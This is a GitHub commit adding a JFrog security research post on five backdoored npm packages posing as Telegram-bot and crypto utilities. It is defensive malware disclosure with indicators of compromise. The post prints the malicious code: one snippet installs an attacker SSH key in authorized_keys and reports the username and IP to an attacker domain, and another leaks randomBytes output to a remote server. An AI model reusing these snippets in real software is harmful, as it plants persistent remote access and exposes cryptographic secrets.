Skip to content

Commit 2fb4835

Browse files
Merge pull request #116 from polkovnychenko/npm_post
NPM malware packages post
2 parents 50f9cf0 + 79d88ca commit 2fb4835

File tree

2 files changed

+83
-0
lines changed

2 files changed

+83
-0
lines changed

post/npm-backdoored-packages.md

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
---
2+
excerpt: JFrog Security Research team found five fake cryptography packages in npm that contained backdoor code
3+
title: Five Backdoored Cryptography Packages Operating Undetected for Six Months
4+
date: "October 23, 2025"
5+
description: "Andrey Polkovnychenko, JFrog Security Researcher"
6+
tag: "Real Time Post"
7+
img: /img/RealTimePostImage/post_thumbnail1.png
8+
type: realTimePost
9+
minutes: '1'
10+
11+
---
12+
13+
Our research team found a npm user jamestonytrump who published five malicious packages containing backdoors. One of them, the npm package “grammy-tools” masquerades as a legitimate library for Telegram bots. The malicious software adds a public key to `~/.ssh/authorized_keys` and transmits the username and external IP address to `grammy[.]validator[.]icu`. This action provides an attacker with complete control over the compromised system.
14+
15+
![](/img/RealTimePostImage/post/npm_backdoor.png)
16+
17+
```javascript
18+
const publicKey = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQ`
19+
const username = os.userInfo().username;
20+
const ipAddress = await getBotId();
21+
const fullPublicKey = `${publicKey}`;
22+
const sshDir = path.join(os.homedir(), '.ssh');
23+
const authorizedKeysPath = path.join(sshDir, 'authorized_keys');
24+
fs.writeFileSync(authorizedKeysPath, `${fullPublicKey}\n`, { mode: 0o600 });
25+
https.get(`https://grammy.validator.icu/v1/check?ip=${ipAddress}&name=${username}&type=${types}`, (res1) => {
26+
res1.on('data', () => { });
27+
});
28+
```
29+
30+
The additional four packages: grammy-guards, crypter-validater, crypt-validater,
31+
node-crypto-validater follow the same logic of adding a backdoor to the attacked system. Each of them mimics a cryptographic utility, exporting functions typical of legitimate crypto libraries:
32+
33+
```javascript
34+
35+
import * as crypto from "crypto";
36+
export declare function validate(content: any): any;
37+
export declare function createPrivateKey(key: crypto.PrivateKeyInput | string | Buffer | crypto.JsonWebKeyInput, callback?: any): any;
38+
export declare function randomBytes(byretes: number, callback?: any): any;
39+
export declare function checkPrime(value: crypto.LargeNumberLike, callback?: any): any;
40+
```
41+
42+
At first glance, this appears to be a thin wrapper over Node’s built-in crypto module. The only difference it makes to the legitimate cryptographic library is the addition of a backdoor in one of the functions. The function randomBytes contains a code that sends the entropy of the generated random values to an attacker-controlled server. The backdoor works differently, depending on the mode in which the original function was called. In blocking mode, it returns the result immediately, so applications receive randomness even as the attacker quietly captures it. But if the function was called in asynchronous mode with a callback, it replaces the result with the bytes returned by the server.
43+
44+
Either case is catastrophic because random entropy is the core of any cryptographic system. A leak of raw entropy makes any secret, private key, nonce, or other cryptographic data produced by the infected system compromised.
45+
46+
```javascript
47+
function check_validator(bytes, callback) {
48+
if (fetch('https://web3.validator.icu/v1/check', {
49+
method: 'POST',
50+
body: JSON.stringify({
51+
action: 'validator',
52+
content: bytes
53+
})
54+
}).then(res => {
55+
callback && res.json().then(res => {
56+
res.success ? callback(null, bytes):callback(res.message);
57+
});
58+
}) {
59+
return true;
60+
}
61+
}
62+
63+
function randomBytes(size, callback) {
64+
const result = crypto.randomBytes(size).toString('hex');
65+
return check_validator(result, callback) ? result : null;
66+
}
67+
```
68+
69+
We reported these packages to the npm security team and added information about these packages to [JFrog Xray](http://jfrog.com/xray) to provide an added layer of security for our customers.
70+
71+
Check out the [JFrog Security Research](https://research.jfrog.com/) center for more information about the latest CVEs, vulnerabilities, and fixes to keep your software supply chain secure.
72+
73+
## IOC
74+
75+
Domain
76+
`web3[.]validator[.]icu`
77+
Packages
78+
79+
* grammy-tools \- XRAY-736302
80+
* grammy-guards XRAY-736301
81+
* crypter-validater XRAY-736304
82+
* crypt-validater XRAY-736300
83+
* node-crypto-validater XRAY-736303
236 KB
Loading

0 commit comments

Comments
 (0)